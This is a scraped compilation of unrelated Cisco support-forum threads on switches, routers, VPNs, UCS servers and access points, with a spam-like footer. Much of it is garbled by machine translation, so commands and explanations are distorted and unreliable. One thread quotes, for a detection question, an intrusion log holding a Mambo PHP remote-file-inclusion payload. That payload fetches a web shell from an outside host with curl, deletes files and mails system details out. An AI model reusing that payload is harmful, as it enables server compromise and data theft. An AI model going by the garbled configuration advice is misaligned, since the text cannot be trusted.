Cisco 220 - 48P
Dear Bro
I'm working on the Cisco SMB partner. I'm not clear about PoE + on this Cisco.
Incidentally kindly please give me what port number that support PoE + Switch Cisco 220 - 48 p.
Better compliance
Chan
The data sheet States:
Switches are supported 802.3af and 802.3at standard pre Cisco (legacy) PoE on port 1 to port 4 with a maximum power of 30W per port; switches are supported 802.3af and standard pre Cisco (legacy) PoE on other RJ-45 ports with a maximum power of 15.4 W per port This applies to all models compatible PoE; the maximum number of PoE ports feeds simultaneously is determined by the total budget of PoE for the switch and the requirement of the real power of the devices of PD The total power available for PoE switch is as follows: |
||||||
Model name |
Dedicated to PoE power |
Number of Ports that support the PoE |
||||
SF220 - 24 P |
180 W |
24 |
||||
SF220 - 48P |
375 W |
48 |
||||
SG220 - 26 |
180 W |
24 |
||||
SG220 - 50 P |
375 W |
Poe + is also called 802.3at
Tags: Cisco Support
Similar Questions
-
rrack mounting brackets for Cisco switch SF300 - 48P?
Does anyone know how to get grid mounting brackets for switch Cisco SF300 - 48P?
You might be able to get them through the support of Cisco. Check this thread: https://supportforums.cisco.com/discussion/11201291/sf-300-series-rack-m...
-
How to upgrade the boot loader?
We have a Cisco SF300 - 48P 48-Port 10 / 100 PoE switch with Gigabit Uplinks.
In the documentation for the new 1.3.5.x firmware, it says:
"Before the upgrade to version 1.3.5 the bootloader must also be updated. If 1.3.5 version using the initial boot loader, file system is not updated to level, and in the future the user will not be able to upgrade to versionshigher than 1.3.5. »
How to place the boot loader?
I see nothing in the documents in order to establish what boot loader there.
We are currently running firmware 1.3.0.62.
The statistics page says:
(Image Active) firmware version: 1.3.0.62 (Non-Active) firmware version: 1.1.2.0 Version of boot: 1.0.0.4 What is the best way to properly install this firmware 1.3.5.x?
Thank you, Tom
Hello:
Darren is correct, that you need to update the boot via TFTP code. His instructions are correct for when you get the TFTP server defined and loaded file in it. There are many free TFTP server applications on the net that you can download. One of my favorites for Windows is TFTPD32 (or TFTPD64 for 64-bit machines). There are both free applications Mac but I don't have that I use.
Once you have a TFTP server installed on your machine, place the file with 'BOOT' in the name of the TFPT Server directory. Directed by Darren: go/file management and select backup/upgrade the Firmware, go to "via TFTP' and select 'Boot Code.' Put the IP address of the server or computer that runs the TFTP software and the name of the file and apply the update.
Reboot the switch and the bootloader is now updated!
Then follow the normal procedure for the upgrade of the firmware: go to the file management /-> Firmware Upgrade / Backup-> "via the HTTP protocol' and find your firmware file and apply.
~ Nick
Support of Cisco network engineer
Please mark responded to post useful!
-
Configuration RAID - on Cisco UCS C 220 M3 with controller RAID UCSC-RAID-11-C220 problem.
Dear all,
Hope everything is going well...
Here is the error I encountered during the installation:
While Installting and UCS C220 M3s server configuration & initially map is with card UCSC-RAID-MZ that supports RAID 0/1/10.
Now I replaced it with UCSC-RAID-11-C220 mezzanine card so that it supports RAID 0/1/5/10/50.
But when I opened the MMIC for the server & again, it is show that it supports only RAID 0/1/10...
Please find the spare part for your reference.
I have to activate or configure additional options on the BIOS to support RAID 5 Server?
Looking forward to hear from you! Thanks in advance...
Kind regards
Gopi G
Please mark the thread as "answered" for future users to see that you found the solution and if possible share the info for others facing the same issue.
-Kenny
-
X 220-problem of server terminal server / 3 G / VPN
Hi all
I have two X 220 with identical problems. The procedure to connect to our server terminal server (Windows 7, server = v2008) is:
-connect to the internet
-connect to the VPN (using the Version of Cisco VPN Client 5.0.07.0290)
-connect to the server terminal server
Everything works well when it connects via WIFI - and everything works well when it connects via the modem to broadband integrated into the X 220 until trying to connect to the terminal server. Then he said: Remote Desktop cannot find the computer XX.
That is, everything works fine up to this point. This includes plenty of internet work in 3G and VPN connection succesfull.
Since I have two identical machines - this should exclude material errors. It must be software.
Ideas? Anyone?
My colleague has managed to find a solution. Install this update did the trick:
FTP://files.Citrix.com/dneupdate64.msi
Best,
Finn
-
Users just began having problems sending e-mails of Group of 10 recipients or more towards the outside email addresses. Internal email works well. But everything goes to an external address like gmail, yahoo, hotmail and others all come back reshipped 5.4.7... They are able to send 1 at a time or a couple at a time outdoors and they cross very well. We use the Cisco Ironports C170. We have the number of retries set to 100 and time in queue 259200 seconds. We just made some updates on the Ironports... 9.5.0 - 125.
Any help or ideas troubleshooting would be great! We are new to Ironport only one of them was about a year and so far they have been great up to this problem.
Thank you
Matt
Hello Matt,
Get the message tracking details. This is GUI > monitor > message tracking
Find e-mail, and then click "view details".
According to the newspapers, from what I can tell so far in the blink of an eye, it's a little like an interruption of port 25 which passes on your network, that the emails are delivered, some are arrested with soft bounce (terminals).
From a trial of mxtoolbox, (judging by the tophosts, your internal domain name is besd.net)
We are witnessing ESMTP inspection enabled on your firewall, we can ensure that it is disabled completely, as it is one of the main causes of the problems.
Login to 205.121.132.141
220 * [813 ms]
EHLO PWS3.mxtoolbox.com
250 astark.besd .net
250 8BITMIME
SIZE 250 18877239 [656 ms]
MAIL FROM:[email protected] / * />
250 sender [email protected] / * /> ok [656 ms]
RCPT TO:[email protected] / * />
550 5.1.0 # address rejected. [656 ms]Login to 205.121.132.143
220 * [ms 641]
EHLO PWS3.mxtoolbox.com
250 afury.besd .net
250 8BITMIMEThank you
Matthew
-
PHP exploit triggers Cisco Security Agent but NOT at Cisco IPS... why?
Does anyone know what signing this feat should trigger with the Cisco IPS sensor? You are not sure if there is one, or if we turned it off?
We see this feat hit our Exchange servers several times during the week.
The process of "C:\WINNT\System32\inetsrv\inetinfo.exe" (as user NT AUTHORITY\SYSTEM) received the data ' / index2.php? option = com_content & do_pdf = 1 & id = 1index2.php? _REQUEST [option] = com_content & _REQUEST [Itemid] = 1 & GLOBALS = & mosConfig_absolute_path =http://220.194.57.112/~photo/cm?&cmd=cd%20cache;curl%20-O%20http: / / 220.194.57.112/~photo/cm;mv%20cm%20index.php;rm%20-rf%20cm*;uname%20-a%20|%20mail%20-s%20uname_i2_66. 224.194.188%[email protected] / * /; uname%20-a%20|%20Mail%20-s%20uname_i2_66.224.194.188%[email protected] / * /. com; echo |'.
I think that this could be the exploit of mambo. See http://www.securityfocus.com/archive/1/archive/1/427196/100/0/threaded for the info. I searched on mambo MySDN and found GIS 5163 "Mambo Site Server Administration Password ByPass" here is a snippet of the description: "administrative access is acquired by sending a specific url using the index2.php script and the PHPSESSID variable." This looks like what you pasted. Note "index2.php". Your IPS can not seen this so it was more than 443.
Hope this helps
M
-
Incompatibility of Version H/w stacking Cisco 3850
I have a cisco failure 3850. I got a new switch and the IOS was lower than my pile to course, so I've updated. When I do a show worm IOS looks right but when I do a show the H/W version parameter are different. What causes my carpet to fail?
New switch:Model switch SW Version SW Image Mode ports------ ----- ----- ---------- ---------- ----* 1 56 WS-C3850 - 48P INSTALL 03.07.03E cat3k_caa-universalk9Current H/WSwitch # Mac address priority Version State role------------------------------------------------------------* 1 active 15 ready V04Old switch:Model switch SW Version SW Image Mode ports------ ----- ----- ---------- ---------- ----* 1 56 WS-C3850 - 48P INSTALL 03.07.03E cat3k_caa-universalk9SCurrent H/WSwitch # Mac address priority Version State role------------------------------------------------------------* 1 active 15-V06 readyHi Kurt,.
That will not cause the battery to fail, you just need to make sure that the version of IOS and the level of license are the same between the members of the battery and make sure you turn the switch before plugging in the battery again.
HTH
Julio
-
Cannot connect the switch Cisco Cisco SG300 - 28 p spend and traffic through VLANS
Try to connect the Cisco SG300 - 28 p switch to another switch and proceed 2 VLANS between them. Not doing any circuit. If I connect a computer to the port on the SG300 - 28 p I can access the VLAN 2 and take a DHCP address. However, when I connect to another switch on the port and connect it to a port on another switch secondary I am unable to access VLAN 2 and pull an IP address. I checked that the works of secondary switch (WS-C3560G-48PS-S) connected to the other 3500 s, but not this latest SG300 - 28 p. Here's the configuration for both, I'm leaving areas that shouldn't matter and add if necessary. Try to connect the SG300 - 28 p Port 26-WS-C3560 Port 1 port. Once again, if I connect a computer to port 26 on the SG300 - 28 p I access the VLAN 2 as expected, but not when I connect to channel 2 on the secondary switch.
Cisco SG300 - 28 p
!
interface vlan 1
Internet name
!
interface vlan 2
LAN name
IP 172.20.5.11 255.255.0.0
no ip address dhcp (this is the VLAN I'm moving)
!
interface vlan 3
private name
!
interface vlan 4
name of Nortel
!
interface vlan 101
name Video_Project
!
interface gigabitethernet26
Description VLAN2-ACCESS-CISCO3500
switchport mode access
switchport access vlan 2 (this goes to port 1 on the other Cisco 3500 switch to provide access 2 VLAN)Cisco 3500
!
interface Vlan1
NATCO Internet description
no ip address
no ip route cache
no ip mroute-cache
!
interface Vlan2
NATCO LAN description
IP 172.20.5.13 255.255.0.0
no ip route cache
no ip mroute-cache (this is the VLAN I'm moving)!
interface Vlan3
Description LHPrivate
no ip address
no ip route cache
no ip mroute-cache
!
interface GigabitEthernet0/1
switchport access vlan 2 (this is the port that I connect to the SG300 - 28 p)!
interface GigabitEthernet0/2
switchport access vlan 2 (this is the port I hang my computer to and trying to access VLAN 2 other switch)Hello
Yes, STP is the problem here. As you can see on your release of the Cisco 3500 switch, port Gi0/1 is BKN (The FEW is a shortened form of "Broken").
This is caused by an incompatibility of versions PLEASE used between the two switches. Small businesses (including series SG300) switches are use legacy STP or Rapid STP (your case), but uses templates to business (such as catalyst 3500) PVST + (each VLAN spanning tree version of STP).
Two versions between group of switches are compatible only under certain conditions. Important condition is that the two switchports needs to use a VLAN 1, vlan access/native and not any other number VLAN.
It is to make your communication work, you must:
- disable the STP at least 3500 Cisco switch:
- on overall global (Switch (config) # no vlan spanning tree 2)
- or by the base interface (switch(config-if) # no vlan spanning tree 2)
- change the configuration of your connection between two switches by following the path:
- change the switchport trunk (trunk switchport mode) mode
- do 1 VLAN as native vlan (vlan switchport trunk native 1)
- Towing VLAN 2 as vlan tagged on that Stump (switchport trunk allow vlan add 2)
- disable the STP at least 3500 Cisco switch:
-
IP over different WAN, source routing ip range? [cisco 891]
Hi all!
Here I am again asking for help! :)
Here's the goal: I want a set of computers to use a WAN and another using the other WAN based on the IP address range.
I use a router cisco 891. Fastethernet0 is a WAN, GigabitEthernet8 is the other WAN and gigabitethernet 0 to 7 are 8 switch of the router ports.
From now on, I have my two internet access works very well, each of them is connected to a WAN port on my router. I have no problem have all my computers using a WAN or the other, or even load balancing between them, but what I want is to fix some computers with internet access and the other computer to use other internet access.
I don't know how to do this, I looked in the delivery by source IP address, but I don't really know how to do. I saw something on the basis of routing policy, but I can only apply these policies on incoming packets that I seem not to be able to apply these policies to one of the switch port of the router. I would need to use the WAN port to connect my incoming LAN in, but then I would not be enough WAN port for both of my internet connections.
Internet gateway #1 is 172.26.2.254
#2 connection gateway is 192.168.1.254
Here is my current config:
I understand why I have bad connection whith this config since it is load balancing between the road two default and send only one of my two wan according to the INVESTIGATION period, but I don't know what to do to say precilesy Beach, the beach of IP #2 and IP #1 to go go here.Cisco891(config)#do sh run Building configuration... Current configuration : 3833 bytes ! ! Last configuration change at 15:11:43 UTC Tue Oct 20 2015 by *********** ! NVRAM config last updated at 14:58:11 UTC Tue Oct 20 2015 by *************** ! NVRAM config last updated at 14:58:11 UTC Tue Oct 20 2015 by ************** version 15.3 service timestamps debug datetime msec service timestamps log datetime msec service password-encryption ! hostname Cisco891 ! boot-start-marker boot-end-marker ! aqm-register-fnf ! enable secret 5 ************************/ enable password ************************ ! no aaa new-model ! ! ! ! ! ! ! ip dhcp excluded-address 172.26.1.1 172.26.1.49 ip dhcp excluded-address 172.26.1.100 172.26.1.254 ip dhcp excluded-address 10.10.20.1 10.10.20.49 ip dhcp excluded-address 10.10.20.100 10.10.20.254 ! ip dhcp pool vlan1pool network 172.26.1.0 255.255.255.0 default-router 172.26.1.254 dns-server 208.67.222.222 208.67.220.220 ! ! ! ip domain name lnc360.fr ip name-server 208.67.222.222 ip name-server 208.67.220.220 ip cef no ipv6 cef ! ! ! ! ! multilink bundle-name authenticated ! ! ! ! ! ! ! license udi pid C891F-K9 sn ******************************* ! ! username ******************** privilege 15 secret ************************************* ! ! ! ! ! no ip ftp passive ip ssh time-out 60 ip ssh logging events ip ssh version 2 ! ! ! ! ! ! ! ! ! ! interface BRI0 no ip address encapsulation hdlc shutdown isdn termination multidrop ! interface FastEthernet0 ip address 192.168.1.1 255.255.255.0 ip nat outside ip virtual-reassembly in duplex auto speed auto ! interface GigabitEthernet0 switchport mode trunk no ip address ! interface GigabitEthernet1 switchport mode trunk no ip address ! interface GigabitEthernet2 switchport mode trunk no ip address ! interface GigabitEthernet3 switchport mode trunk no ip address ! interface GigabitEthernet4 switchport mode trunk no ip address ! interface GigabitEthernet5 switchport mode trunk no ip address ! interface GigabitEthernet6 switchport mode trunk no ip address ! interface GigabitEthernet7 switchport mode trunk no ip address ! interface GigabitEthernet8 ip address 172.26.2.10 255.255.255.0 ip nat outside ip virtual-reassembly in duplex auto speed auto ! interface Vlan1 ip address 172.26.1.254 255.255.255.0 ip nat inside ip virtual-reassembly in ! interface Vlan2 ip address 10.10.10.254 255.255.255.0 ip nat inside ip virtual-reassembly in ! interface Async3 no ip address encapsulation slip ! ip forward-protocol nd ip http server ip http authentication local no ip http secure-server ip http timeout-policy idle 60 life 86400 requests 10000 ! ! ip nat inside source list LAN_PCs interface GigabitEthernet8 overload ip nat inside source list LAN_servers interface FastEthernet0 overload ip route 0.0.0.0 0.0.0.0 172.26.2.254 ip route 0.0.0.0 0.0.0.0 192.168.1.254 ! ip access-list extended LAN_PCs deny ip 172.26.1.0 0.0.0.31 any deny ip 172.26.1.112 0.0.0.15 any deny ip 172.26.1.240 0.0.0.15 any permit ip 172.26.1.0 0.0.0.255 any ip access-list extended LAN_servers permit ip 10.10.10.0 0.0.0.255 any permit ip 172.26.1.0 0.0.0.31 any permit ip 172.26.1.112 0.0.0.15 any permit ip 172.26.1.240 0.0.0.15 any ! ! ! control-plane ! ! ! mgcp behavior rsip-range tgcp-only mgcp behavior comedia-role none mgcp behavior comedia-check-media-src disable mgcp behavior comedia-sdp-force disable ! mgcp profile default ! ! ! ! ! line con 0 no modem enable line aux 0 line 3 modem InOut speed 115200 flowcontrol hardware line vty 0 4 privilege level 15 password 7 ****************************************** login local transport input ssh transport output ssh line vty 5 15 password 7 *********************************************** login local transport input telnet transport output telnet ! scheduler allocate 20000 1000 ntp update-calendar ntp server 0.europe.pool.ntp.org ! end
Thank you!
Hello
Apply the ACB on the SVI strategy ' sof the VLAN
int vlan 1
intellectual property policy map route ACBint vlan 2
intellectual property policy map route ACBRES
Paul
-
Is there a required converter? or a toggle switch to select 110/220? or can we just plug power 110 and 220 unchanged?
Thank you
Hi, Amiller, there is no toggle switch. It supports both. As long as you have proper food adapter/source must be any problems.
Here's the datasheet for more details of power
http://www.Cisco.com/en/us/prod/collateral/routers/ps9923/ps9926/data_sheet_c78-501227.PDF
-Tom
Please mark replied messages useful -
Cisco 1602i series Access point installation
Hello everyone. I tried to configure cisco AIR-CAP1602i-E-K9 series access point is default for the configuration files and other settings, I guess you are looking for WLC. but I do not have a WLC I want to configure the AP a standalone conceerne Access point. I connected via switch where all the ports on the switch are vlan 10 switch is connected to a router and I have configured the router as DHCP server. It is my first time that I've never touched a cisco point for configuration of access. below is the error that was coming up on the screen countinously when I access the AP via the console. Kindly any assistance in this regard would be highly appreciated. Thank you
* 00:18:46.324 Mar 1: % 3-CAPWAP-ERRORLOG: could not resolve CISCO-CAPWAP-CONTROLLER
Not in a bound State.
* 00:19:31.824 Mar 1: % 3-CAPWAP-DHCP_RENEW: could not find WLC by using DHCP IP. Renew DHCP IP.
* 00:19:36.828 Mar 1: % 3-CAPWAP-ERRORLOG: event white 38 & combination of State 2.
* 00:19:36.948 Mar 1: DHCP-6-ADDRESS_ASSIGN %: BVI1 Interface assigned address DHCP 10.10.0.218, mask 255.255.255.0, hostname AP64f6.9dee.87d1Translate "CISCO-CAPWAP-CONTROLLER"... the domain server (255.255.255.255)
* 00:19:42.824 Mar 1: % 3-CAPWAP-ERRORLOG: did not get the server DHCP server log settings.* 00:19:51.823 Mar 1: % 3-CAPWAP-ERRORLOG: could not resolve CISCO-CAPWAP-CONTROLLER
Not in a bound State.
* 00:20:37.323 Mar 1: % 3-CAPWAP-DHCP_RENEW: could not find WLC by using DHCP IP. Renew DHCP IP.
* 00:20:42.327 Mar 1: % 3-CAPWAP-ERRORLOG: event white 38 & combination of State 2.
* 00:20:42.447 Mar 1: DHCP-6-ADDRESS_ASSIGN %: BVI1 Interface assigned address DHCP 10.10.0.219, mask 255.255.255.0, hostname AP64f6.9dee.87d1Translate "CISCO-CAPWAP-CONTROLLER"... the domain server (255.255.255.255)
* 00:20:48.323 Mar 1: % 3-CAPWAP-ERRORLOG: did not get the server DHCP server log settings.* 00:20:57.323 Mar 1: % 3-CAPWAP-ERRORLOG: could not resolve CISCO-CAPWAP-CONTROLLER
Not in a bound State.
* 00:21:42.822 Mar 1: % 3-CAPWAP-DHCP_RENEW: could not find WLC by using DHCP IP. Renew DHCP IP.
* 00:21:47.826 Mar 1: % 3-CAPWAP-ERRORLOG: event white 38 & combination of State 2.
* 00:21:47.946 Mar 1: DHCP-6-ADDRESS_ASSIGN %: BVI1 Interface assigned address DHCP 10.10.0.220, mask 255.255.255.0, hostname AP64f6.9dee.87d1Translate "CISCO-CAPWAP-CONTROLLER"... the domain server (255.255.255.255)
* 00:21:53.822 Mar 1: % 3-CAPWAP-ERRORLOG: did not get the server DHCP server log settings.* 00:22:02.822 Mar 1: % 3-CAPWAP-ERRORLOG: could not resolve CISCO-CAPWAP-CONTROLLER
Not in a bound State.
* 00:22:48.322 Mar 1: % 3-CAPWAP-DHCP_RENEW: could not find WLC by using DHCP IP. Renew DHCP IP.
* 00:22:53.326 Mar 1: % 3-CAPWAP-ERRORLOG: event white 38 & combination of State 2.
* 00:22:53.446 Mar 1: DHCP-6-ADDRESS_ASSIGN %: BVI1 Interface assigned address DHCP 10.10.0.221, mask 255.255.255.0, hostname AP64f6.9dee.87d1Translate "CISCO-CAPWAP-CONTROLLER"... the domain server (255.255.255.255)
* 00:22:59.322 Mar 1: % 3-CAPWAP-ERRORLOG: did not get the server DHCP server log settings.* 00:23:08.322 Mar 1: % 3-CAPWAP-ERRORLOG: could not resolve CISCO-CAPWAP-CONTROLLER
Not in a bound State.
* 00:23:53.821 Mar 1: % 3-CAPWAP-DHCP_RENEW: could not find WLC by using DHCP IP. Renew DHCP IP.
* 00:23:58.825 Mar 1: % 3-CAPWAP-ERRORLOG: event white 38 & combination of State 2.
* 00:23:58.945 Mar 1: DHCP-6-ADDRESS_ASSIGN %: BVI1 Interface assigned address DHCP 10.10.0.222, mask 255.255.255.0, hostname AP64f6.9dee.87d1Translate "CISCO-CAPWAP-CONTROLLER"... the domain server (255.255.255.255)
If you do not have WLC, you will need to convert this access point in stand-alone mode. See below on this post. You must required image before this conversion. If you have a support contract with Cisco you can download from Cisco.com
https://mrncciew.com/2012/10/20/lightweight-to-autonomous-conversion/
https://mrncciew.com/2013/12/13/AP-conversion-using-mode-button/
HTH
Rasika
Pls note all useful responses *.
-
Client VPN Cisco router Cisco, MSW CA + certificates
Dear Sirs,
Let me approach you on the following problem.I wanted to use a secure between the Cisco VPN client connection
(Windows XP) and Cisco 2821 with certificate-based authentication.
I used the Microsoft certification authority (Windows 2003 server).
Cisco VPN client used eTokenPRO Aladdin as a certificate store.Certificate of MSW CA registration and implementation in eToken ran OK
Customer VPN Cisco doesn't have a problem with the cooperation of eToken.
Certificate of registration of Cisco2821 MSW ca ran okay too.Cisco 2821 configuration is standard. IOS version 12.4 (6).
Attempt to connect to the client VPN Cisco on Cisco 2821 was
last update of the error messages:ISAKMP: (1020): cannot get router cert or routerdoes do not have a cert: had to find DN!
ISAKMP: (1020): ITS been RSA signature authentication more XAUTH using id ID_FQDN type
ISAKMP (1020): payload ID
next payload: 6
type: 2
FULL domain name: cisco - ca.firm.com
Protocol: 17
Port: 500
Length: 25
ISAKMP: (1020): the total payload length: 25
ISAKMP (1020): no cert string to send to peers
ISAKMP (1020): peer not specified not issuing and none found appropriate profile
ISAKMP (1020): Action of WSF returned the error: 2
ISAKMP: (1020): entry = IKE_MESG_INTERNAL, IKE_PROCESS_COMPLETE
ISAKMP: (1020): former State = new State IKE_R_MM5 = IKE_P1_COMPLETEIs there some refence where is possible to find some information on
This problem? There is someone who knows how to understand these mistakes?
Thank you very much for your help.Best regards
P.SonenberkPS Some useful information for people who are interested in the above problem.
Address IP of Cisco 2821 10.1.1.220, client VPN IP address is 10.1.1.133.
MSW's IP 10.1.1.50.
Important parts of the Cisco 2821 configuration:!
cisco-ca hostname
!
................
AAA new-model
!
AAA authentication login default local
AAA authentication login sdm_vpn_xauth_ml_1 local
AAA authorization exec default local
AAA authorization sdm_vpn_group_ml_1 LAN
!
...............
IP domain name firm.com
host IP company-cu 10.1.1.50
host to IP cisco-vpn1 10.1.1.133
name of the IP-server 10.1.1.33
!
Authenticated MultiLink bundle-name Panel
!
Crypto pki trustpoint TP-self-signed-4097309259
enrollment selfsigned
name of the object cn = IOS - Self - signed - certificate - 4097309259
revocation checking no
rsakeypair TP-self-signed-4097309259
!
Crypto pki trustpoint company-cu
registration mode ra
Enrollment url http://10.1.1.50:80/certsrv/mscep/mscep.dll
use of ike
Serial number no
IP address no
password 7 005C31272503535729701A1B5E40523647
revocation checking no
!
TP-self-signed-4097309259 crypto pki certificate chain
certificate self-signed 01
30820249 308201B 2 A0030201 02020101 300 D 0609 2A 864886 F70D0101 04050030
.............
FEDDCCEA 8FD14836 24CDD736 34
quit smoking
company-cu pki encryption certificate chain
certificate 1150A66F000100000013
30820509 308203F1 A0030201 02020 HAS 11 092A 8648 01000000 13300 06 50A66F00
...............
9E417C44 2062BFD5 F4FB9C0B AA
quit smoking
certificate ca 51BAC7C822D1F6A3469D1ADC32D0EB8C
30820489 30820371 A0030201 BAC7C822 02021051 D1F6A346 9D1ADC32 D0EB8C30
...............
C379F382 36E0A54E 0A6278A7 46
quit smoking
!
...................
crypto ISAKMP policy 30
BA 3des
md5 hash
authentication rsa-BA
Group 2
ISAKMP crypto identity hostname
!
Configuration group customer isakmp crypto Group159
key Key159Key
pool SDM_POOL_1
ACL 100
!
the crypto isakmp client configuration group them
domain firm.com
pool SDM_POOL_1
ACL 100
!
Crypto ipsec transform-set esp-3des esp-md5-hmac 3DES-MD5
!
crypto dynamic-map SDM_DYNMAP_1 1
the transform-set 3DES-MD5 value
market arriere-route
!
card crypto SDM_CMAP_1 client authentication list sdm_vpn_xauth_ml_1
map SDM_CMAP_1 isakmp authorization list sdm_vpn_group_ml_1 crypto
client configuration address map SDM_CMAP_1 crypto answer
map SDM_CMAP_1 65535-isakmp dynamic SDM_DYNMAP_1 ipsec crypto
!
................
!
endstatus company-cu of Cisco-ca #show cryptographic pki trustpoints
Trustpoint company-cu:
Issuing CA certificate configured:
Name of the object:
CN = firm-cu, dc = company, dc = local
Fingerprint MD5: 5026582F 8CF455F8 56151047 2FFAC0D6
Fingerprint SHA1: 47B 74974 7C85EA48 760516DE AAC84C5D 4427E829
Universal router configured certificate:
Name of the object:
host name = cisco - ca.firm.com
Fingerprint MD5: E78702ED 47D5D36F B732CC4C BA97A4ED
Fingerprint SHA1: 78DEAE7E ACC12F15 1DFB4EB8 7FC DC6F3B7E 00138
State:
Generated keys... Yes (general purpose, not exportable)
Authenticated issuing certification authority... Yes
Request certificate (s)... YesCisco-ca #sh crypto pubkey-door-key rsa
Code: M - configured manually, C - excerpt from certificateName of code use IP-address/VRF Keyring
C Signature name of X.500 DN default:
CN = firm-cu
DC = company
DC = localC signature by default cisco-vpn1
IMPORTANT: I don't have a Cisco IOS Software: 12.4 (5), 12.3 (11) T08, 12.4 (4.7) PI03c,.
12.4 (4.7) T - there is error in the cryptographic module.Hey guys, it's weird that the router is not find cert after IKE is the cert and validates, it is certainly not reason, but I would go ahead and set up the mapping of certificate on this router to force the client to associate with Group of IKE, for that matter, that you need to change your config a bit for use iskamp profiles :
http://www.Cisco.com/en/us/docs/iOS/12_3t/12_3t8/feature/guide/gt_isakp.html
-
Cisco ASA - need to allow Ping and Traceroute
Hello
I am able to ping my remote counterparts, but can not trace.what I'm missing here?
object-group service PING_TRACE
ICMP service object
service-object icmp traceroute
the ICMP_ACCESS object-group network
object-network 203.121.10.0 255.255.255.0
host of the object-Network 222.77.187.292
host of the object-Network 231.27.20.18
host of the object-Network 198.18.171.220
host of the object-Network 129.26.179.202
host of the object-Network 218.192.63.146
host of the object-Network 94.62.250.62#sh access-list Test_access_in
access-list Test_access_in line 6 Note Allow set of hosts to PING and ANY TRACE on the outside - for monitoring.
allowed to Access - list Test_access_in line 7 scope object-group PING_TRACE-group of objects any4 (hitcnt = 0) ICMP_ACCESS 0x48a9083e
allowed to Access - list Test_access_in line 7 extended icmp 203.121.10.0 255.255.255.0 any4 (hitcnt = 0) 0xce1e8a24
allowed to Access - list Test_access_in line 7 extended icmp host 222.77.187.292 any4 (hitcnt = 0) 0xf57d731f
allowed to Access - list Test_access_in line 7 extended icmp host 231.27.20.18 any4 (hitcnt = 0) 0xb25e6675
allowed to Access - list Test_access_in line 7 extended icmp host 198.18.171.220 any4 (hitcnt = 0) 0xd1f4dfa4
allowed to Access - list Test_access_in line 7 extended icmp host 129.26.179.202 any4 (hitcnt = 87) 0 x 45874268
allowed to Access - list Test_access_in line 7 extended icmp host 218.192.63.146 any4 (hitcnt = 0) 0x737f20fb
allowed to Access - list Test_access_in line 7 extended icmp host 94.62.250.62 any4 (hitcnt = 0) 0x4223d717#sh run access-group
Access-group Test_access_in in interface Test1#ping 231.27.20.18
Type to abort escape sequence.
Send 5, 100-byte ICMP echoes to 211.27.20.10, ti#traceroute 231.27.20.18
Type to abort escape sequence.
The route to 231.27.20.181 * * *
2 * * *
3 * * *
4 * * *
5 * * *
6 * *meout is 2 seconds:
!!!!!#traceroute 231.27.20.18 source Test1
Type to abort escape sequence.
The route to 231.27.20.181 * * *
2 * * *Hello
You must enable error control icmp see all intermediate hosts.
Policy-map global_policy
class inspection_default
inspect icmp errors
Take a look at this link for the order reference:
http://www.Cisco.com/c/en/us/TD/docs/security/ASA/ASA-command-reference/...
The reason for this behavior is that by default ASA (a safety device!) allows you to hide all
hosts on the path for messages time exceeded ICMP behind a NAT
I would like to know how it works,
Please don't forget to rate and score as correct the helpful post!
David Castro,
Kind regards
-
Hello guys,.
I have a problem with Cisco UCS 220M 3, for the test, we cut the power on the server and when the power is back on, the server does not start automatically, and I have to press the power button in order so that it starts.
Note that I have already configured power politics through CIMC to power on power failure and also tried to restore the last option and it didn't work.
Thanks in advance
In-house research, I found this bug CSCud75309 ' C-220 failed intermittently to restore the system to "last State" political pw "(https://tools.cisco.com/bugsearch/bug/CSCud75309/?reffering_site=dumpcr) there is no workaround for the case or a cause to fix an upgrade took place in version 1.5 (4) and the issue was not considered once again What version of firmware are you running?
-Kenny
Maybe you are looking for
-
Unable to use the SendLink function in FireFox file menu. I think that its corrupt.
I just started using my new laptop Lenovo Windows 7.Everything worked fine until I clicked on the SendLink to send aarticle to my son. It just started to repeat non-stop gibberish.I had to shut down the computer to stop it.I tried SendLink and same g
-
Hi all... I learn LabVIEW since few days.i want to acquire a signal of pc6251 of acquisition of data and perform fft it can u people please help me? Thanks in advance
-
Do not install the automatic updates Windows XP, download error 0 x 80246008
Have failed several times - have bits set @ auto - confident to rectify, not lack of computer knowledge and seems almost impossible to get thru to Microsoft - who are looking for an easy solution / single or coordinated for Microsoft - T.I.A Got erro
-
the analysis of a multi-track cue sheets recording in files vs
I have a large mp3 to records that contain a lot of songs (tracks). Some songs are get together, others are not, in the same file. The songs are NOT indexed in the file.I use WMP11 for playback, as well as other mp3 players (portable, car, etc.)In
-
-Pop-up blocked notification...
.. .on the page of all Web sites except (I noticed earlier) this Forum Web site. Hmm... is it because it is without advertising? Notifications are always on the page wanting to install an add-on to Adobe Flash Player. But it is already enabled. Why t